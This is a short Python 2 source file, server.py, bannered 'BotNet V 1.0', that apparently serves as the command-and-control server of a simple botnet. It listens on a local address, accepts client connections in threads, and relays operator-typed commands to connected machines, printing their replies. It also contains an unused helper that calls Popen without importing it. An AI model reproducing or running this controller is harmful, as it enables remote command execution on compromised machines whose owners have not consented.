server.py

#!/usr/bin/python
from socket import *
import thread
from pyfiglet import Figlet

#color
global red
red = '\033[31m'
global green
green  = '\033[32m'
global reset
reset = '\033[0m'
global yellow
yellow = '\033[33m'
global cyan
cyan = '\033[36m'
global magenta
magenta = '\033[35m'
global cls
cls = '\33c'
#end color

def sendCmd(clientsocket):
    cmd = raw_input(cyan+">> "+reset)
    clientsocket.send(cmd)


def handler(clientsocket, clientaddr):
    while 1:
        data = clientsocket.recv(4096)
        if data:
            data = data.rstrip()
            print(repr(data))
            cmd = raw_input(cyan+">> ")
            clientsocket.send(cmd)
            print(clientsocket.recv(4096))
        else:
            cmd = raw_input(cyan+">> ")
            clientsocket.send(cmd)
            print(clientsocket.recv(4096))

def cmdline(command):
    process = Popen(
        args=command,
        stdout=PIPE,
        shell=True
    )
    return process.communicate()[0]

def showCommands():
    print('Commands :\n\t "!help" or "?" to get help\n\t "!listen" to listen for connections')


def listen(port, serversocket):
    while 1:
        print(magenta+"Server is listening for connections on port {}\n".format(port)+reset)

        clientsocket, clientaddr = serversocket.accept()
        thread.start_new_thread(handler, (clientsocket, clientaddr))


if __name__ == "__main__":

    #Variable Declarations
    host = '192.168.0.20'
    port = 55568
    buf = 1024

    addr = (host, port)

    serversocket = socket(AF_INET, SOCK_STREAM)
    serversocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

    serversocket.bind(addr)

    serversocket.listen(2)

    #SAY HELLO
    msg = Figlet(font='slant')
    print(red+msg.renderText('BotNet V 1.0')+reset)
    print(yellow+"Type \"!help\" or \"?\" to get help."+reset)

    #Starting the command prompt
    while 1:
        choice = raw_input(">> ")

        if(choice.lower() == "?" or choice.lower() == "!help"):
            showCommands()

        elif(choice.lower() == "!listen"):
            listen(port, serversocket)
        else:
            showCommands()

    serversocket.close()